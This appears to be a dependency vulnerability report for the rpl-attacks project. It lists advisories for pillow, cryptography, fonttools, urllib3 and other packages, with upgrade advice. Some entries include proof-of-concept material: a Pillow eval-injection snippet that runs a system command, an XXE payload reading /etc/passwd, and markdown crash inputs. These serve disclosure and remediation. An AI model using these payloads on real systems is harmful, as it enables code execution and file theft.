Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › cryptography@45.0.7Remediation: Upgrade to cryptography@49.0.0.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › fabric@3.2.3 › paramiko@3.5.1 › cryptography@45.0.7Remediation: Upgrade to fabric@3.2.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › fabric3@1.14.post1 › paramiko@3.5.1 › cryptography@45.0.7Remediation: Upgrade to fabric3@1.14.post1.
Overview
Affected versions of this package are vulnerable to Improper Certificate Validation in the DNSConstraint::matches. An attacker can bypass name constraints by presenting a certificate with a wildcard DNS Subject Alternative Name that is improperly validated, allowing acceptance of certificate chains that should be rejected.
Remediation
Upgrade cryptography to version 49.0.0 or higher.
References
high severity
- Vulnerable module: fonttools
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › fonttools@4.38.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › fonttools@4.38.0Remediation: Upgrade to weasyprint@60.2.
Overview
fonttools is a Tools to manipulate font files
Affected versions of this package are vulnerable to Arbitrary Code Execution due to the parseBlendList() function's usage of built-in Python's eval() function when parsing TTX font data. An attacker can execute arbitrary scripts by supplying a specially crafted numeric value strings to TTX XML attributes.
Remediation
Upgrade fonttools to version 4.62.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Out-of-bounds Read in the TGA RLE encoder process. An attacker can access sensitive heap data and potentially cause limited denial of service by crafting a specially designed image file.
Remediation
Upgrade pillow to version 12.3.0 or higher.
References
high severity
- Vulnerable module: sh
- Introduced through: sh@1.14.3
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › sh@1.14.3Remediation: Upgrade to sh@2.2.4.
Overview
sh is a Python subprocess replacement
Affected versions of this package are vulnerable to Improper Check for Dropped Privileges in the _uid process. An attacker can gain unauthorized access to files or resources associated with privileged supplementary groups by launching a subprocess from a privileged parent process that uses the _uid option to drop privileges.
Remediation
Upgrade sh to version 2.2.4 or higher.
References
high severity
- Vulnerable module: cryptography
- Introduced through: cryptography@45.0.7, fabric@3.2.3 and others
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › cryptography@45.0.7Remediation: Upgrade to cryptography@46.0.5.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › fabric@3.2.3 › paramiko@3.5.1 › cryptography@45.0.7Remediation: Upgrade to fabric@3.2.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › fabric3@1.14.post1 › paramiko@3.5.1 › cryptography@45.0.7Remediation: Upgrade to fabric3@1.14.post1.
Overview
Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity in public key functions public_key_from_numbers, EllipticCurvePublicNumbers.public_key, load_der_public_key, and load_pem_public_key, which may reveal bits from a private key when provided with a malicious public key as input. When the application is using sect* binary curves for verification - which is a rare use case - these functions do not verify that the provided point belongs to the expected prime-order subgroup of the curve. An attacker can thus expose partial private keys or forge signatures.
Remediation
Upgrade cryptography to version 46.0.5 or higher.
References
high severity
- Vulnerable module: cryptography
- Introduced through: cryptography@45.0.7, fabric@3.2.3 and others
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › cryptography@45.0.7Remediation: Upgrade to cryptography@50.0.0.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › fabric@3.2.3 › paramiko@3.5.1 › cryptography@45.0.7Remediation: Upgrade to fabric@3.2.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › fabric3@1.14.post1 › paramiko@3.5.1 › cryptography@45.0.7Remediation: Upgrade to fabric3@1.14.post1.
Overview
Affected versions of this package are vulnerable to Timing Attack in the pkcs7_decrypt_der, pkcs7_decrypt_pem, and pkcs7_decrypt_smime functions. An attacker can obtain sensitive information about the outcome of RSA decryption operations by submitting crafted EnvelopedData and analyzing error messages or timing differences. This can be exploited to perform adaptive chosen ciphertext attacks against the content-encryption key.
Note: This is only exploitable if the application automatically decrypts untrusted EnvelopedData matching the victim certificate and provides adaptive responses at high volume, such as in S/MIME gateways or mail filters, and if the linked cryptographic library lacks implicit rejection (e.g., OpenSSL 3.0/3.1, LibreSSL, BoringSSL).
Remediation
Upgrade cryptography to version 50.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Pillow is a PIL (Python Imaging Library) fork.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via linearize_page_tree in src/PIL/PdfParser.py when parsing a PDF file containing a cyclic or duplicate page tree reference. An attacker can supply a PDF with a looping page node structure, causing the parser to recurse or iterate indefinitely and crash the process.
Remediation
Upgrade Pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Infinite loop via incorrect initialization of _n_frames and is_animated in TiffImagePlugin.TiffImageFile, where _n_frames was set inside _open() rather than __init__(), allowing it to be overwritten by a MicImageFile subclass. An attacker can supply a multi-frame TIFF (or MIC) image that causes _n_frames and is_animated to be set to incorrect values, leading to a crash when iterating frames.
Note: This is only exploitable if the optional olefile package is installed.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to NULL Pointer Dereference via ImagingExpand in src/libImaging/Filter.c when processing a zero-dimension image through RankFilter or related filters. An attacker can supply an image with a width or height of zero, triggering undefined behavior or a crash in the C-level filter pipeline due to the absence of a zero-dimension guard before memory allocation and pixel processing.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: urllib3
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to grip@4.6.2.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data in urlopen() when using ProxyManager.connection_from_url() with assert_same_host=False, directly rather than via the high-level APIs including urllib3.request(), PoolManager.request(), and ProxyManager.request(). An attacker can expose headers such as Authorization, Cookie, and Proxy-Authorization by triggering cross-origin redirects, which does not properly invoke remove_headers_on_redirect.
Remediation
Upgrade urllib3 to version 2.7.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Eval Injection via the PIL.ImageMath.eval function when an attacker has control over the keys passed to the environment argument.
PoC
from PIL import Image, ImageMath
image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')
expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"
environment = {
image1.filename: image1,
image2.filename: image2,
image3.filename: image3,
image4.filename: image4,
image5.filename: image5
}
ImageMath.eval(expression, **environment)
Remediation
Upgrade pillow to version 10.2.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Out-of-bounds Write via the JPEG COM marker encoding path in JpegEncode.c, when a JPEG image carrying an oversized comment in its im.info metadata is re-encoded. The comment length is not validated before being written as a COM marker, allowing a comment that exceeds the maximum marker size to overflow the output buffer. An attacker who can supply a JPEG file with an excessively long embedded comment can trigger this condition, leading to memory corruption with potential for arbitrary code execution.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: urllib3
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to grip@4.6.2.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Improper Certificate Validation in the connect method of src/urllib3/connection.py when an HTTPS proxy is configured with proxy_ssl_context while the target server uses a different certificate-verification policy. Due to the proxy's TLS settings not being isolated from the target's TLS settings, the proxy's ssl_context is incorrectly applied to the target connection (or vice versa), allowing an attacker to bypass certificate validation for either the proxy or the target server and perform a MitM attack.
Note: This is only exploitable when an HTTPS proxy is configured with proxy_ssl_context and the target server uses a different certificate-verification policy.
Remediation
Upgrade urllib3 to version 2.8.0 or higher.
References
high severity
- Vulnerable module: fonttools
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › fonttools@4.38.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › fonttools@4.38.0Remediation: Upgrade to weasyprint@60.2.
Overview
fonttools is a Tools to manipulate font files
Affected versions of this package are vulnerable to XML External Entity (XXE) Injection via the OT-SVG parser in the svg.py file.
Details
XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.
For example, below is a sample XML document, containing an XML element- username.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<username>John</username>
</xml>
An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.
<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<username>&xxe;</username>
</xml>
Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.
Remediation
Upgrade fonttools to version 4.43.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Argument Injection in the Ghostscript function in src/PIL/EpsImagePlugin.py, which assigns infile = fp.name and places it after -f in the argument list without normalizing the path or rejecting the prefixes Ghostscript parses specially, namely -, --, and the @ argument-file token. An attacker can pass arbitrary options to the spawned Ghostscript process, and reach command execution by combining the @ token with a text file whose contents they also control, by arranging for a file whose name begins with one of those characters to be opened as an EPS image. This requires control of the file name reached by Image.open rather than only the file contents, along with an EPS load path that invokes Ghostscript, and the default -dSAFER sandbox does not constrain it, since the injection happens in Ghostscript's own command line parsing.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) when using arbitrary strings as text input and the number of characters passed into PIL.ImageFont.ImageFont.getmask() is over a certain limit. This can lead to a system crash.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade pillow to version 10.2.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Denial of Service (DoS) if the size of individual glyphs extends beyond the bitmap image, when using PIL.ImageFont.ImageFont function. Exploiting this vulnerability could lead to a system crash.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade pillow to version 10.2.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') when the ImageFont truetype in an ImageDraw instance operates on a long text argument. An attacker can cause the service to crash by processing a task that uncontrollably allocates memory.
Remediation
Upgrade pillow to version 10.0.0 or higher.
References
high severity
- Vulnerable module: werkzeug
- Introduced through: grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › werkzeug@2.2.3Remediation: Upgrade to grip@4.6.2.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › flask@2.2.5 › werkzeug@2.2.3Remediation: Upgrade to grip@4.6.2.
Overview
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient hostname checks and the use of relative paths to resolve requests. When the debugger is enabled, an attacker can convince a user to enter their own PIN to interact with a domain and subdomain they control, and thereby cause malicious code to be executed.
The demonstrated attack vector requires a number of conditions that render this attack very difficult to achieve, especially if the victim application is running in the recommended configuration of not having the debugger enabled in production.
Remediation
Upgrade werkzeug to version 3.0.3 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Buffer Over-read via the _decodeStrip and _decodeTile functions in src/libImaging/TiffDecode.c, where the TIFF strip and tile decode buffers are reallocated without zeroing the region beyond previously decoded data. When a codec such as JPEG or Group 4 successfully decodes fewer rows than the declared strip height or tile length, the remainder of the reallocated buffer retains uninitialized heap memory, which is then copied directly into the output image. An attacker who can supply a malformed TIFF file can thereby cause uninitialized memory contents to appear in the decoded image data.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the seek method in src/PIL/SpiderImagePlugin.py, which lacks a decompression bomb check after seeking to a new frame in a SPIDER format image. An attacker can supply a SPIDER image with an excessively large frame size, causing unbounded memory allocation when a user opens and seeks through the file.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in BmpImagePlugin.py via the RLE-compressed BMP decoder, where the decode method appends null bytes to an output buffer without bounding the amount against the expected destination length. An attacker can supply a BMP image with malformed RLE delta escape codes that cause unbounded memory allocation, crashing the process.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Pillow is a PIL (Python Imaging Library) fork.
Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via missing decompression bomb checks in the seek methods of DcxImagePlugin, MicImagePlugin, and MpoImagePlugin. When a multi-frame image file (DCX, MIC, or MPO format) is opened and frames are seeked, the per-frame image dimensions are never validated against the decompression bomb threshold, allowing an attacker to supply an image whose frames expand to an enormous size in memory and crash the process.
Remediation
Upgrade Pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Infinite loop via TarIO.__init__ in src/PIL/TarIO.py, where a maliciously constructed TAR archive can supply a file entry with a size value that causes the computed block offset to be zero or negative. When iterating over TAR entries to locate a target file, the seek position does not advance, resulting in an infinite loop that crashes the process.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Integer Overflow or Wraparound via the textwidth function in src/_imaging.c, where accumulating negative glyph advance widths can cause the integer accumulator xsize to wrap below INT_MIN. An attacker can trigger this by supplying text whose cumulative rendered width underflows a signed 32-bit integer, causing an OverflowError that crashes the calling process.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Pillow is a PIL (Python Imaging Library) fork.
Affected versions of this package are vulnerable to Out-of-bounds Read via the PyImaging_DrawWmf function in src/display.c when processing a WMF image with dimensions exceeding 65535. The bcWidth and bcHeight fields in BITMAPCOREHEADER are 16-bit unsigned integers, so values larger than 65535 silently truncate on assignment while the subsequent PyBytes_FromStringAndSize call still uses the untruncated values, causing a heap buffer over-read that crashes the process. An attacker can trigger this by supplying a WMF file with oversized width or height values.
Remediation
Upgrade Pillow to version 13.0.0 or higher.
References
high severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Unchecked Input for Loop Condition via the load method in src/PIL/Image.py, where a loop consuming repeated Exif\x00\x00 headers in Exif data has no upper bound on iterations. An attacker can supply image data with an arbitrarily long sequence of repeated Exif headers, causing the process to spin indefinitely and crash the application.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
high severity
- Module: pyphen
- Introduced through: weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pyphen@0.14.0
Multiple licenses: GPL-2.0, LGPL-2.0, MPL-1.1
high severity
- Module: readline
- Introduced through: readline@6.2.4.1
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › readline@6.2.4.1
GPL-3.0 license
medium severity
- Vulnerable module: fonttools
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › fonttools@4.38.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › fonttools@4.38.0Remediation: Upgrade to weasyprint@60.2.
Overview
fonttools is a Tools to manipulate font files
Affected versions of this package are vulnerable to XML Injection via the main() function in the fontTools/varLib/__init__.py file. An attacker can write files to the filesystem by supplying a specially crafted .designspace file.
Remediation
Upgrade fonttools to version 4.61.0 or higher.
References
medium severity
- Vulnerable module: markdown
- Introduced through: markdown@3.4.4 and grip@4.6.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › markdown@3.4.4Remediation: Upgrade to markdown@3.8.1.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › grip@4.6.2 › markdown@3.4.4Remediation: Upgrade to grip@4.6.2.
Overview
Affected versions of this package are vulnerable to Uncaught Exception via the HTMLParser component. An attacker can cause application crashes or potentially disclose information by submitting specially crafted, malformed HTML-like sequences in Markdown input.
PoC
import markdown
print(markdown.__version__)
crash_inputs = [
"<![",
"<![>og))/uw_ f{tv+pAr$Ss+[6;^{=<:>g2oV|.pdTMu(Q-E#",
"<![ g'\"7z5r7cojSO;2LAo0(1Vv5G>,-P",
]
for i, crash_input in enumerate(crash_inputs, 1):
print(f"\nTesting crash input #{i}:\n{repr(crash_input)}")
try:
output = markdown.markdown(crash_input, extensions=["extra"])
print("No crash, output:")
print(output)
except Exception as e:
print(f"Crash confirmed! Exception:\n{e}")
Remediation
Upgrade markdown to version 3.8.1 or higher.
References
medium severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Pillow is a PIL (Python Imaging Library) fork.
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the Ghostscript function in src/PIL/EpsImagePlugin.py, where a decompression bomb check is not applied before Ghostscript renders an EPS image. An attacker can supply an EPS file with dimensions that exceed the decompression bomb threshold, causing Pillow to invoke Ghostscript at an arbitrarily large resolution and then raise a DecompressionBombError when reopening the output file.
Note: DecompressionBombError fires only when Pillow reopens the Ghostscript output file, so Pillow's own in-process allocation stays bounded and there is no memory corruption.
Remediation
Upgrade Pillow to version 13.0.0 or higher.
References
medium severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Heap-based Buffer Overflow via the _decodeAsRGBA and _decodeTile functions in src/libImaging/TiffDecode.c when processing a TIFF image whose unpacker row size exceeds the libtiff-decoded row size. An attacker can supply a malformed TIFF file that triggers a read buffer overflow on the last row of a decoded block or tile, leading to out-of-bounds memory access and potential information disclosure or a crash.
Remediation
Upgrade pillow to version 12.3.0 or higher.
References
medium severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via repeated string concatenation in the _seek function of src/PIL/GifImagePlugin.py when parsing GIF comment extension blocks. Each comment block encountered during frame seeking is appended to a growing byte string using +=, causing quadratic memory and CPU usage when a GIF file contains a large number of comment blocks. An attacker can supply a GIF file with many comment extension blocks to trigger excessive resource consumption and crash the process.
Remediation
Upgrade pillow to version 13.0.0 or higher.
References
medium severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › matplotlib@3.5.3 › pillow@9.5.0Remediation: Upgrade to matplotlib@3.5.3.
-
Introduced through: dhondta/rpl-attacks@dhondta/rpl-attacks › weasyprint@60.2 › pillow@9.5.0Remediation: Upgrade to weasyprint@60.2.
Overview
Affected versions of this package are vulnerable to Inefficient Algorithmic Complexity via repeated string concatenation in the _seek function of src/PIL/GifImagePlugin.py when parsing GIF comment extension blocks. An attacker can supply a GIF file containing many comment blocks, causing quadratic memory growth through repeated bytes concatenation on each block read, which crashes the process.
Remediation
Upgrade pillow to version 12.3.0 or higher.
References
medium severity
- Vulnerable module: pillow
- Introduced through: matplotlib@3.5.3 and weasyprint@60.2
Detailed paths
-
